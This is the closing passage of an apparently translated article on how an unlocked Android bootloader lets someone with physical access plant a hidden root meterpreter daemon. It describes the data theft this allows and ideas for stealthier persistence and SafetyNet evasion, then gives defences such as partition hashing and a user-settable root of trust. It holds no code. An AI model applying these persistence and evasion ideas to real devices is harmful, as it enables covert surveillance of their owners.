OnePlus 5T with unlocked bootloader. OxygenOS 10, no root installed

User data can be downloaded

User data can be downloaded

So what we end up with:

The main plus is that we have a completely rooted shell, even if the device did not have root rights installed. No additional applications were installed in the system, so nothing will be very conspicuous. The daemon will not stop even if the user turns off the screen of the device and sends it to "sleep", because "sleep" is for android application processes, and not for daemons. Since this is a meterpreter shell, we can transfer files, for example, download the internal directories of any application with private files, shared preferences, databases, etc. We have access to shared storage, we can download photos, videos, documents, etc. We have access to system executable files. We can, if necessary, download apk to the device and call pm to install it.

The main disadvantage is that we do not have direct access to the Android framework. We can install apk with the service via pm, and start this service via am, but it will already be noticeable - the application will be visible in the device settings. Many meterpeter features, such as recording a microphone, accessing cameras and getting geolocation, will not work, because the payload is tailored for ordinary linux distributions running on arm64 hardware, for example, on raspberry pi, and not on android, on which access to devices is significant is different. Technically, all this can be implemented, but you have to write the code for this by hand. Removing the daemon from the system without physical access to the device can be difficult.

What else can you do?​

This way of installing the backdoor is pretty crude. The injection happens directly to the system partition, which is nice, but it could be done better. For example, despite the fact that simple root detectors will not detect it, the changed state of the system partition will definitely not allow SafetyNet to pass the test, although you can try to play with the MagiskHide sources and sharpen them to fit your needs. A logical continuation would be to store the necessary files separately and mount them on top of the system partition in the same way that magisk delivers its files to the file system. Continuing the thought even further, you can try to penetrate directly into the ramdisk and directly from there drop it into the file system and mount it on top of the system.

How to protect yourself?​

The simplest approach, for which you don't even need to do anything, is to abandon the use of root rights and alternative firmware. This is a controversial advice for those who use alternative assemblies to boost the privacy of their device. This is my personal opinion, but I think that the current stock android is very good. I have been interested in modifications to the system to improve privacy and security for a long time, and I must say that the last three versions of the OS have done an impressive job of reducing the ability to collect information from the device. If earlier the difference between the stock OS assembly and the alternative, enhanced by all sorts of specialized tools like XPrivacyLua with custom hooks, was huge, now it has been greatly reduced.

Of course, Google will never give up on some things in android, and you can never get rid of the advertising ID on the stock firmware, but nevertheless, most of the bloatware can be disabled painlessly. Plus, the android user still has the freedom to independently decide which applications he will use and where to install them from. You don't have to rely on google play, you can use alternative repositories like F-Droid. You don't have to be tied to the Google ecosystem. Alternatively, you can use NextCloud on your own server. In general, with the right approach, you can replace almost everything in the stock system and get a device that will be almost as good as on an alternative firmware,

With this approach, a lot depends on the manufacturer of the device. Some vendors supply an operating system to devices full of various rubbish and information-gathering services, others deliver excellent minimalistic assemblies that almost do not differ from AOSP. Some vendors are very responsible for supporting operating systems on their devices. For example, prior to version 10 of android there was a leak of the list of network connections via / proc / net, which was even used by some application makers who invest heavily in collecting personal data, such as facebook. On my old smartphone with android 9, the manufacturer closed this hole, despite the fact that the device never received an update to android 10, and was launched in general on android 7.

Another obvious approach is to ensure that the device does not physically fall into the wrong hands. In fact, everything discussed above is mainly related to physical access only. If you do not keep developer mode always on, do not give applications administrator rights, monitor what is installed on the device and follow the basic "hygiene rules", then everything will be fine.

For those cases when the device is seized by border guards or the police, or falls into the hands of intruders for a while, it is possible to organize a counteraction. Of course, this only makes sense if the smartphone was not unlocked in their hands. It is not difficult, but it does take some regular effort. To do this, you need to get in the habit of counting the hashes of the main sections, into which a backdoor can be dropped during physical access, immediately after installing system updates. We updated the system - recalculate the hashes and save them in a safe place. If you use root-rights, then you can make a simple application for this, if you do not use it, you will have to boot after installation in TWRP and shoot there.

In general, the logic is as follows: after receiving the device in your hands, without booting into the system and without entering the unlock code, we boot into TWRP, recalculate the hashes. If they change on the boot, system or vendor partitions, then something has been added to the system, or at least an attempt has been made to do so.

The third and most difficult approach is to continue using the alternate OS build, but lock the bootloader using the user-settable root of trust. This is a really complex and costly approach, worthy of writing a separate article, because it requires you to build the OS yourself and sign it yourself.

The biggest limitation is how few devices exist on which you can do this. Despite the fact that Google has provided all the necessary features for this, and the documentation contains a general and detailed description of how it works, very few manufacturers support this feature. Honestly, the only two I know about are Google (the Pixel line of smartphones) and OnePlus. Support for verifying the operating system signature with user keys is not mandatory for device certification and is implemented by the device manufacturer strictly at its request. I believe that most manufacturers simply do not want to do the extra work, or do not want buyers to have an additional reason to use a non-native OS on their devices.

Using this approach will require building and signing each new update, which can be tedious because it takes time, some technical knowledge, a powerful production machine to build, with large and fast storage of several hundred gigabytes, and support for the server on which the updates will be published. I'm sure not everyone wants to do this.

Of the available and actually working ready-made solutions of this kind, there is an alternative android assembly - GrapheneOS, which supports and even recommends the use of the user-settable root of trust on the devices on which it is installed, but alas, it only works with Google Pixel devices.

Conclusions​

We looked at what troubles the unlocked bootloader brings with it, we were able to make sure that when physically accessing the device, it allows an attacker to embed malware into android, and he does not need to enter an unlock code or enable developer mode and adb for this. Forewarned is forearmed. Be careful. If you use a smartphone with custom firmware or root-rights, then do not give it to the wrong hands

UPDATE

Thanks @vm03 for pointing out the error about the lack of a built kernel in LineageOS assemblies

Thanks to the Khabrovites for their interest in the article and kind feedback.
 
Top